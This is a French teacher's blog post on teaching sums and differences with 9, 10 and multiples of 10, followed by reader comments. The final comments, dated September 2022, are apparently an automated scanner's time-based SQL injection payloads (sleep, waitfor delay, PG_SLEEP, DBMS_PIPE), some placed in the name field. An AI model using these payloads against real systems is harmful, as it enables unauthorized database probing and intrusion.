Dans le genre des apprentissages qu'on pense évidents et qu'on devrait expliciter, je me suis trouvée confrontée à des élèves qui n'arrivaient pas à calculer des sommes ou des différences avec des nombres "ronds" : 10 20 30 40 etc. Comme nous travaillons tous les jours avec des bâtons et paquets de 10 bâtons pendant chaque jour compte, je pensais qu'il serait naturel, logique et facile pour eux d'effectuer ce type de calcul. Mais en fait pas du tout. J'ai donc dû monter une petite séquence pour bien ancrer l'idée que quand on ajoute ou enlève des multiples de 10, on ne fait qu'ajouter ou enlever des paquets de 10 et qu'il suffit donc de calculer sur les chiffres des dizaines. Nous en avons profité pour parler de +9 -9 au passage.
Sommes avec 9 et 10
Différences avec 9 et 10
Sommes et différences avec des multiples de 10
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Petitepoy (dimanche, 08 décembre 2013 15:39)
Coucou ! je n'étais pas passée depuis longtemps et j'en profite pour te dire que j'ADOOOORE tes Bondi'maths (et mes loulous aussi, les grands). Du coup, j'ai été "obligée" d'en proposer et d'en fabriquer pour nos ateliers du soir (mémorisation des leçons et entraînements). Mais ce n'est pas tout : ils en veulent aussi pour les règles de grammaire, voca, conjugaison.... seulement là, je ruse, il va falloir qu'ils les fabriquent eux-même, na ! Donc encore merci pour le format modifiable qu'ils peuvent prendre en main seuls ! Bonne continuation !
Stefcia (vendredi, 12 mai 2017 11:04)
Tes Bondi et Chrono Math sont géniaux! Je les utilise depuis 2 semaines dans ma classe ULIS Collège: ils adorent! et ils sont enfin motivés par le calcul!! Je leur ai fait faire les fiches de corrections, comme cela ils peuvent vraiment être autonomes et jouer sans adulte.
Merci pour cette chouette idée et le partage. L'étape suivante sera sans doute également la création de nouveaux jeux par les élèves eux-mêmes.
Tampopo (vendredi, 12 mai 2017 17:48)
Merci pour vos retours, ça me fait vraiment plaisir !
Damian (lundi, 05 février 2018 17:50)
C est nul
sarah (lundi, 25 novembre 2019 18:39)
bonjour qui vous etes
Malulu (dimanche, 06 décembre 2020 11:19)
Merci!!!!! 1ère année en ULIS à mi-temps, et formation CAPPEI en même temps... Ce site est une mine! J'apprécie énormément!
ubaTaeCJ (vendredi, 30 septembre 2022 15:34)
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LYj0cMFr
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ (vendredi, 30 septembre 2022 15:43)
-1; waitfor delay '0:0:15' --
ubaTaeCJ (vendredi, 30 septembre 2022 15:44)
1 waitfor delay '0:0:15' --
ubaTaeCJ (vendredi, 30 septembre 2022 15:44)
-5 OR 784=(SELECT 784 FROM PG_SLEEP(15))--
ubaTaeCJ (vendredi, 30 septembre 2022 15:45)
-1)) OR 202=(SELECT 202 FROM PG_SLEEP(15))--
ubaTaeCJ (vendredi, 30 septembre 2022 15:45)
7WKbDbAy')) OR 487=(SELECT 487 FROM PG_SLEEP(15))--
ubaTaeCJ (vendredi, 30 septembre 2022 15:46)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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if(now()=sysdate(),sleep(15),0) (vendredi, 30 septembre 2022 16:01)
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (vendredi, 30 septembre 2022 16:02)
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1 waitfor delay '0:0:15' -- (vendredi, 30 septembre 2022 16:02)
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A0dbyiCN' OR 795=(SELECT 795 FROM PG_SLEEP(15))-- (vendredi, 30 septembre 2022 16:03)
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6CSmv84A')) OR 157=(SELECT 157 FROM PG_SLEEP(15))-- (vendredi, 30 septembre 2022 16:04)
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